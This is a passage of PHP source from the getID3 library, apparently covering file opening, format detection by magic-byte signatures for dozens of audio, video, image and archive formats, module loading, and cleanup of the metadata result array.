			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
			$filename = str_replace('\\', '/', $filename);
			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
			$this->info['filename']     = getid3_lib::mb_basename($filename);
			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];

			// set more parameters
			$this->info['avdataoffset']        = 0;
			$this->info['avdataend']           = $this->info['filesize'];
			$this->info['fileformat']          = '';                // filled in later
			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['tags']                = array();           // filled in later, unset if not used
			$this->info['error']               = array();           // filled in later, unset if not used
			$this->info['warning']             = array();           // filled in later, unset if not used
			$this->info['comments']            = array();           // filled in later, unset if not used
			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired

			// option_max_2gb_check
			if ($this->option_max_2gb_check) {
				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
				$fseek = fseek($this->fp, 0, SEEK_END);
				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
					($this->info['filesize'] < 0) ||
					(ftell($this->fp) < 0)) {
						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);

						if ($real_filesize === false) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
						} elseif (getid3_lib::intValueSupported($real_filesize)) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org');
						}
						$this->info['filesize'] = $real_filesize;
						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.');
				}
			}

			return true;

		} catch (Exception $e) {
			$this->error($e->getMessage());
		}
		return false;
	}

	/**
	 * analyze file
	 *
	 * @param string   $filename
	 * @param int      $filesize
	 * @param string   $original_filename
	 * @param resource $fp
	 *
	 * @return array
	 */
	public function analyze($filename, $filesize=null, $original_filename='', $fp=null) {
		try {
			if (!$this->openfile($filename, $filesize, $fp)) {
				return $this->info;
			}

			// Handle tags
			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				$option_tag = 'option_tag_'.$tag_name;
				if ($this->$option_tag) {
					$this->include_module('tag.'.$tag_name);
					try {
						$tag_class = 'getid3_'.$tag_name;
						$tag = new $tag_class($this);
						$tag->Analyze();
					}
					catch (getid3_exception $e) {
						throw $e;
					}
				}
			}
			if (isset($this->info['id3v2']['tag_offset_start'])) {
				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
			}
			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				if (isset($this->info[$tag_key]['tag_offset_start'])) {
					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
				}
			}

			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
			if (!$this->option_tag_id3v2) {
				fseek($this->fp, 0);
				$header = fread($this->fp, 10);
				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
					$this->info['id3v2']['header']        = true;
					$this->info['id3v2']['majorversion']  = ord($header[3]);
					$this->info['id3v2']['minorversion']  = ord($header[4]);
					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
				}
			}

			// read 32 kb file data
			fseek($this->fp, $this->info['avdataoffset']);
			$formattest = fread($this->fp, 32774);

			// determine format
			$determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename));

			// unable to determine file format
			if (!$determined_format) {
				fclose($this->fp);
				return $this->error('unable to determine file format');
			}

			// check for illegal ID3 tags
			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
				if ($determined_format['fail_id3'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('ID3 tags not allowed on this file type.');
				} elseif ($determined_format['fail_id3'] === 'WARNING') {
					$this->warning('ID3 tags not allowed on this file type.');
				}
			}

			// check for illegal APE tags
			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
				if ($determined_format['fail_ape'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('APE tags not allowed on this file type.');
				} elseif ($determined_format['fail_ape'] === 'WARNING') {
					$this->warning('APE tags not allowed on this file type.');
				}
			}

			// set mime type
			$this->info['mime_type'] = $determined_format['mime_type'];

			// supported format signature pattern detected, but module deleted
			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
				fclose($this->fp);
				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
			}

			// module requires mb_convert_encoding/iconv support
			// Check encoding/iconv support
			if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
				$errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
				if (GETID3_OS_ISWINDOWS) {
					$errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32';
				} else {
					$errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch';
				}
				return $this->error($errormessage);
			}

			// include module
			include_once(GETID3_INCLUDEPATH.$determined_format['include']);

			// instantiate module class
			$class_name = 'getid3_'.$determined_format['module'];
			if (!class_exists($class_name)) {
				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
			}
			$class = new $class_name($this);

			// set module-specific options
			foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) {
				if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) {
					list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches;
					$GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here
					if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) {
						$class->$GOVsetting = $getid3_object_vars_value;
					}
				}
			}

			$class->Analyze();
			unset($class);

			// close file
			fclose($this->fp);

			// process all tags - copy to 'tags' and convert charsets
			if ($this->option_tags_process) {
				$this->HandleAllTags();
			}

			// perform more calculations
			if ($this->option_extra_info) {
				$this->ChannelsBitratePlaytimeCalculations();
				$this->CalculateCompressionRatioVideo();
				$this->CalculateCompressionRatioAudio();
				$this->CalculateReplayGain();
				$this->ProcessAudioStreams();
			}

			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_md5_data) {
				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
					$this->getHashdata('md5');
				}
			}

			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_sha1_data) {
				$this->getHashdata('sha1');
			}

			// remove undesired keys
			$this->CleanUp();

		} catch (Exception $e) {
			$this->error('Caught exception: '.$e->getMessage());
		}

		// return info array
		return $this->info;
	}


	/**
	 * Error handling.
	 *
	 * @param string $message
	 *
	 * @return array
	 */
	public function error($message) {
		$this->CleanUp();
		if (!isset($this->info['error'])) {
			$this->info['error'] = array();
		}
		$this->info['error'][] = $message;
		return $this->info;
	}


	/**
	 * Warning handling.
	 *
	 * @param string $message
	 *
	 * @return bool
	 */
	public function warning($message) {
		$this->info['warning'][] = $message;
		return true;
	}


	/**
	 * @return bool
	 */
	private function CleanUp() {

		// remove possible empty keys
		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
				unset($this->info['audio'][$key]);
			}
			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
				unset($this->info['video'][$key]);
			}
		}

		// remove empty root keys
		if (!empty($this->info)) {
			foreach ($this->info as $key => $value) {
				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
					unset($this->info[$key]);
				}
			}
		}

		// remove meaningless entries from unknown-format files
		if (empty($this->info['fileformat'])) {
			if (isset($this->info['avdataoffset'])) {
				unset($this->info['avdataoffset']);
			}
			if (isset($this->info['avdataend'])) {
				unset($this->info['avdataend']);
			}
		}

		// remove possible duplicated identical entries
		if (!empty($this->info['error'])) {
			$this->info['error'] = array_values(array_unique($this->info['error']));
		}
		if (!empty($this->info['warning'])) {
			$this->info['warning'] = array_values(array_unique($this->info['warning']));
		}

		// remove "global variable" type keys
		unset($this->info['php_memory_limit']);

		return true;
	}

	/**
	 * Return array containing information about all supported formats.
	 *
	 * @return array
	 */
	public function GetFileFormatArray() {
		static $format_info = array();
		if (empty($format_info)) {
			$format_info = array(

				// Audio formats

				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
				'ac3'  => array(
							'pattern'   => '^\\x0B\\x77',
							'group'     => 'audio',
							'module'    => 'ac3',
							'mime_type' => 'audio/ac3',
						),

				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
				'adif' => array(
							'pattern'   => '^ADIF',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),

/*
				// AA   - audio       - Audible Audiobook
				'aa'   => array(
							'pattern'   => '^.{4}\\x57\\x90\\x75\\x36',
							'group'     => 'audio',
							'module'    => 'aa',
							'mime_type' => 'audio/audible',
						),
*/
				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
				'adts' => array(
							'pattern'   => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'audio/aac',
							'fail_ape'  => 'WARNING',
						),


				// AU   - audio       - NeXT/Sun AUdio (AU)
				'au'   => array(
							'pattern'   => '^\\.snd',
							'group'     => 'audio',
							'module'    => 'au',
							'mime_type' => 'audio/basic',
						),

				// AMR  - audio       - Adaptive Multi Rate
				'amr'  => array(
							'pattern'   => '^\\x23\\x21AMR\\x0A', // #!AMR[0A]
							'group'     => 'audio',
							'module'    => 'amr',
							'mime_type' => 'audio/amr',
						),

				// AVR  - audio       - Audio Visual Research
				'avr'  => array(
							'pattern'   => '^2BIT',
							'group'     => 'audio',
							'module'    => 'avr',
							'mime_type' => 'application/octet-stream',
						),

				// BONK - audio       - Bonk v0.9+
				'bonk' => array(
							'pattern'   => '^\\x00(BONK|INFO|META| ID3)',
							'group'     => 'audio',
							'module'    => 'bonk',
							'mime_type' => 'audio/xmms-bonk',
						),

				// DSF  - audio       - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital
				'dsf'  => array(
							'pattern'   => '^DSD ',  // including trailing space: 44 53 44 20
							'group'     => 'audio',
							'module'    => 'dsf',
							'mime_type' => 'audio/dsd',
						),

				// DSS  - audio       - Digital Speech Standard
				'dss'  => array(
							'pattern'   => '^[\\x02-\\x08]ds[s2]',
							'group'     => 'audio',
							'module'    => 'dss',
							'mime_type' => 'application/octet-stream',
						),

				// DSDIFF - audio     - Direct Stream Digital Interchange File Format
				'dsdiff' => array(
							'pattern'   => '^FRM8',
							'group'     => 'audio',
							'module'    => 'dsdiff',
							'mime_type' => 'audio/dsd',
						),

				// DTS  - audio       - Dolby Theatre System
				'dts'  => array(
							'pattern'   => '^\\x7F\\xFE\\x80\\x01',
							'group'     => 'audio',
							'module'    => 'dts',
							'mime_type' => 'audio/dts',
						),

				// FLAC - audio       - Free Lossless Audio Codec
				'flac' => array(
							'pattern'   => '^fLaC',
							'group'     => 'audio',
							'module'    => 'flac',
							'mime_type' => 'audio/flac',
						),

				// LA   - audio       - Lossless Audio (LA)
				'la'   => array(
							'pattern'   => '^LA0[2-4]',
							'group'     => 'audio',
							'module'    => 'la',
							'mime_type' => 'application/octet-stream',
						),

				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
				'lpac' => array(
							'pattern'   => '^LPAC',
							'group'     => 'audio',
							'module'    => 'lpac',
							'mime_type' => 'application/octet-stream',
						),

				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
				'midi' => array(
							'pattern'   => '^MThd',
							'group'     => 'audio',
							'module'    => 'midi',
							'mime_type' => 'audio/midi',
						),

				// MAC  - audio       - Monkey's Audio Compressor
				'mac'  => array(
							'pattern'   => '^MAC ',
							'group'     => 'audio',
							'module'    => 'monkey',
							'mime_type' => 'audio/x-monkeys-audio',
						),


				// MOD  - audio       - MODule (SoundTracker)
				'mod'  => array(
							//'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', // has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
							'pattern'   => '^.{1080}(M\\.K\\.)',
							'group'     => 'audio',
							'module'    => 'mod',
							'option'    => 'mod',
							'mime_type' => 'audio/mod',
						),

				// MOD  - audio       - MODule (Impulse Tracker)
				'it'   => array(
							'pattern'   => '^IMPM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'it',
							'mime_type' => 'audio/it',
						),

				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
				'xm'   => array(
							'pattern'   => '^Extended Module',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'xm',
							'mime_type' => 'audio/xm',
						),

				// MOD  - audio       - MODule (ScreamTracker)
				's3m'  => array(
							'pattern'   => '^.{44}SCRM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 's3m',
							'mime_type' => 'audio/s3m',
						),

				// MPC  - audio       - Musepack / MPEGplus
				'mpc'  => array(
							'pattern'   => '^(MPCK|MP\\+)',
							'group'     => 'audio',
							'module'    => 'mpc',
							'mime_type' => 'audio/x-musepack',
						),

				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
				'mp3'  => array(
							'pattern'   => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]',
							'group'     => 'audio',
							'module'    => 'mp3',
							'mime_type' => 'audio/mpeg',
						),

				// OFR  - audio       - OptimFROG
				'ofr'  => array(
							'pattern'   => '^(\\*RIFF|OFR)',
							'group'     => 'audio',
							'module'    => 'optimfrog',
							'mime_type' => 'application/octet-stream',
						),

				// RKAU - audio       - RKive AUdio compressor
				'rkau' => array(
							'pattern'   => '^RKA',
							'group'     => 'audio',
							'module'    => 'rkau',
							'mime_type' => 'application/octet-stream',
						),

				// SHN  - audio       - Shorten
				'shn'  => array(
							'pattern'   => '^ajkg',
							'group'     => 'audio',
							'module'    => 'shorten',
							'mime_type' => 'audio/xmms-shn',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAK  - audio       - Tom's lossless Audio Kompressor
				'tak'  => array(
							'pattern'   => '^tBaK',
							'group'     => 'audio',
							'module'    => 'tak',
							'mime_type' => 'application/octet-stream',
						),

				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
				'tta'  => array(
							'pattern'   => '^TTA',  // could also be '^TTA(\\x01|\\x02|\\x03|2|1)'
							'group'     => 'audio',
							'module'    => 'tta',
							'mime_type' => 'application/octet-stream',
						),

				// VOC  - audio       - Creative Voice (VOC)
				'voc'  => array(
							'pattern'   => '^Creative Voice File',
							'group'     => 'audio',
							'module'    => 'voc',
							'mime_type' => 'audio/voc',
						),

				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
				'vqf'  => array(
							'pattern'   => '^TWIN',
							'group'     => 'audio',
							'module'    => 'vqf',
							'mime_type' => 'application/octet-stream',
						),

				// WV  - audio        - WavPack (v4.0+)
				'wv'   => array(
							'pattern'   => '^wvpk',
							'group'     => 'audio',
							'module'    => 'wavpack',
							'mime_type' => 'application/octet-stream',
						),


				// Audio-Video formats

				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
				'asf'  => array(
							'pattern'   => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C',
							'group'     => 'audio-video',
							'module'    => 'asf',
							'mime_type' => 'video/x-ms-asf',
							'iconv_req' => false,
						),

				// BINK - audio/video - Bink / Smacker
				'bink' => array(
							'pattern'   => '^(BIK|SMK)',
							'group'     => 'audio-video',
							'module'    => 'bink',
							'mime_type' => 'application/octet-stream',
						),

				// FLV  - audio/video - FLash Video
				'flv' => array(
							'pattern'   => '^FLV[\\x01]',
							'group'     => 'audio-video',
							'module'    => 'flv',
							'mime_type' => 'video/x-flv',
						),

				// IVF - audio/video - IVF
				'ivf' => array(
							'pattern'   => '^DKIF',
							'group'     => 'audio-video',
							'module'    => 'ivf',
							'mime_type' => 'video/x-ivf',
						),

				// MKAV - audio/video - Mastroka
				'matroska' => array(
							'pattern'   => '^\\x1A\\x45\\xDF\\xA3',
							'group'     => 'audio-video',
							'module'    => 'matroska',
							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
						),

				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
				'mpeg' => array(
							'pattern'   => '^\\x00\\x00\\x01[\\xB3\\xBA]',
							'group'     => 'audio-video',
							'module'    => 'mpeg',
							'mime_type' => 'video/mpeg',
						),

				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
				'nsv'  => array(
							'pattern'   => '^NSV[sf]',
							'group'     => 'audio-video',
							'module'    => 'nsv',
							'mime_type' => 'application/octet-stream',
						),

				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
				'ogg'  => array(
							'pattern'   => '^OggS',
							'group'     => 'audio',
							'module'    => 'ogg',
							'mime_type' => 'application/ogg',
							'fail_id3'  => 'WARNING',
							'fail_ape'  => 'WARNING',
						),

				// QT   - audio/video - Quicktime
				'quicktime' => array(
							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
							'group'     => 'audio-video',
							'module'    => 'quicktime',
							'mime_type' => 'video/quicktime',
						),

				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
				'riff' => array(
							'pattern'   => '^(RIFF|SDSS|FORM)',
							'group'     => 'audio-video',
							'module'    => 'riff',
							'mime_type' => 'audio/wav',
							'fail_ape'  => 'WARNING',
						),

				// Real - audio/video - RealAudio, RealVideo
				'real' => array(
							'pattern'   => '^\\.(RMF|ra)',
							'group'     => 'audio-video',
							'module'    => 'real',
							'mime_type' => 'audio/x-realaudio',
						),

				// SWF - audio/video - ShockWave Flash
				'swf' => array(
							'pattern'   => '^(F|C)WS',
							'group'     => 'audio-video',
							'module'    => 'swf',
							'mime_type' => 'application/x-shockwave-flash',
						),

				// TS - audio/video - MPEG-2 Transport Stream
				'ts' => array(
							'pattern'   => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
							'group'     => 'audio-video',
							'module'    => 'ts',
							'mime_type' => 'video/MP2T',
						),

				// WTV - audio/video - Windows Recorded TV Show
				'wtv' => array(
							'pattern'   => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D',
							'group'     => 'audio-video',
							'module'    => 'wtv',
							'mime_type' => 'video/x-ms-wtv',
						),


				// Still-Image formats

				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
				'bmp'  => array(
							'pattern'   => '^BM',
							'group'     => 'graphic',
							'module'    => 'bmp',
							'mime_type' => 'image/bmp',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GIF  - still image - Graphics Interchange Format
				'gif'  => array(
							'pattern'   => '^GIF',
							'group'     => 'graphic',
							'module'    => 'gif',
							'mime_type' => 'image/gif',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// JPEG - still image - Joint Photographic Experts Group (JPEG)
				'jpg'  => array(
							'pattern'   => '^\\xFF\\xD8\\xFF',
							'group'     => 'graphic',
							'module'    => 'jpg',
							'mime_type' => 'image/jpeg',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PCD  - still image - Kodak Photo CD
				'pcd'  => array(
							'pattern'   => '^.{2048}PCD_IPI\\x00',
							'group'     => 'graphic',
							'module'    => 'pcd',
							'mime_type' => 'image/x-photo-cd',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// PNG  - still image - Portable Network Graphics (PNG)
				'png'  => array(
							'pattern'   => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A',
							'group'     => 'graphic',
							'module'    => 'png',
							'mime_type' => 'image/png',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// SVG  - still image - Scalable Vector Graphics (SVG)
				'svg'  => array(
							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http://www\\.w3\\.org/2000/svg")',
							'group'     => 'graphic',
							'module'    => 'svg',
							'mime_type' => 'image/svg+xml',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// TIFF - still image - Tagged Information File Format (TIFF)
				'tiff' => array(
							'pattern'   => '^(II\\x2A\\x00|MM\\x00\\x2A)',
							'group'     => 'graphic',
							'module'    => 'tiff',
							'mime_type' => 'image/tiff',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// EFAX - still image - eFax (TIFF derivative)
				'efax'  => array(
							'pattern'   => '^\\xDC\\xFE',
							'group'     => 'graphic',
							'module'    => 'efax',
							'mime_type' => 'image/efax',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Data formats

				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
				'iso'  => array(
							'pattern'   => '^.{32769}CD001',
							'group'     => 'misc',
							'module'    => 'iso',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
							'iconv_req' => false,
						),

				// HPK  - data        - HPK compressed data
				'hpk'  => array(
							'pattern'   => '^BPUL',
							'group'     => 'archive',
							'module'    => 'hpk',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// RAR  - data        - RAR compressed data
				'rar'  => array(
							'pattern'   => '^Rar\\!',
							'group'     => 'archive',
							'module'    => 'rar',
							'mime_type' => 'application/vnd.rar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// SZIP - audio/data  - SZIP compressed data
				'szip' => array(
							'pattern'   => '^SZ\\x0A\\x04',
							'group'     => 'archive',
							'module'    => 'szip',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAR  - data        - TAR compressed data
				'tar'  => array(
							'pattern'   => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}',
							'group'     => 'archive',
							'module'    => 'tar',
							'mime_type' => 'application/x-tar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GZIP  - data        - GZIP compressed data
				'gz'  => array(
							'pattern'   => '^\\x1F\\x8B\\x08',
							'group'     => 'archive',
							'module'    => 'gzip',
							'mime_type' => 'application/gzip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// ZIP  - data         - ZIP compressed data
				'zip'  => array(
							'pattern'   => '^PK\\x03\\x04',
							'group'     => 'archive',
							'module'    => 'zip',
							'mime_type' => 'application/zip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'xz'  => array(
							'pattern'   => '^\\xFD7zXZ\\x00',
							'group'     => 'archive',
							'module'    => 'xz',
							'mime_type' => 'application/x-xz',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// XZ   - data         - XZ compressed data
				'7zip'  => array(
							'pattern'   => '^7z\\xBC\\xAF\\x27\\x1C',
							'group'     => 'archive',
							'module'    => '7zip',
							'mime_type' => 'application/x-7z-compressed',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Misc other formats

				// PAR2 - data        - Parity Volume Set Specification 2.0
				'par2' => array (
							'pattern'   => '^PAR2\\x00PKT',
							'group'     => 'misc',
							'module'    => 'par2',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PDF  - data        - Portable Document Format
				'pdf'  => array(
							'pattern'   => '^\\x25PDF',
							'group'     => 'misc',
							'module'    => 'pdf',
							'mime_type' => 'application/pdf',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// MSOFFICE  - data   - ZIP compressed data
				'msoffice' => array(
							'pattern'   => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
							'group'     => 'misc',
							'module'    => 'msoffice',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TORRENT             - .torrent
				'torrent' => array(
							'pattern'   => '^(d8\\:announce|d7\\:comment)',
							'group'     => 'misc',
							'module'    => 'torrent',
							'mime_type' => 'application/x-bittorrent',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				 // CUE  - data       - CUEsheet (index to single-file disc images)
				 'cue' => array(
							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
							'group'     => 'misc',
							'module'    => 'cue',
							'mime_type' => 'application/octet-stream',
						   ),

			);
		}

		return $format_info;
	}

	/**
	 * @param string $filedata
	 * @param string $filename
	 *
	 * @return mixed|false
	 */
	public function GetFileFormat(&$filedata, $filename='') {
		// this function will determine the format of a file based on usually
		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
		// of the file).

		// Identify file format - loop through $format_info and detect with reg expr
		foreach ($this->GetFileFormatArray() as $format_name => $info) {
			// The /s switch on preg_match() forces preg_match() NOT to treat
			// newline (0x0A) characters as special chars but do a binary match
			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
				return $info;
			}
		}


		if (preg_match('#\\.mp[123a]$#i', $filename)) {
			// Too many mp3 encoders on the market put garbage in front of mpeg files
			// use assume format on these if format detection failed
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mp3'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.mp[cp\\+]$#i', $filename) && preg_match('#[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0]#s', $filedata)) {
			// old-format (SV4-SV6) Musepack header that has a very loose pattern match and could falsely match other data (e.g. corrupt mp3)
			// only enable this pattern check if the filename ends in .mpc/mpp/mp+
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mpc'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
			// so until I think of something better, just go by filename if all other format checks fail
			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['cue'];
			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		}

		return false;
	}

	/**
	 * Converts array to $encoding charset from $this->encoding.
	 *
	 * @param array  $array
	 * @param string $encoding
	 */
	public function CharConvert(&$array, $encoding) {

		// identical encoding - end here
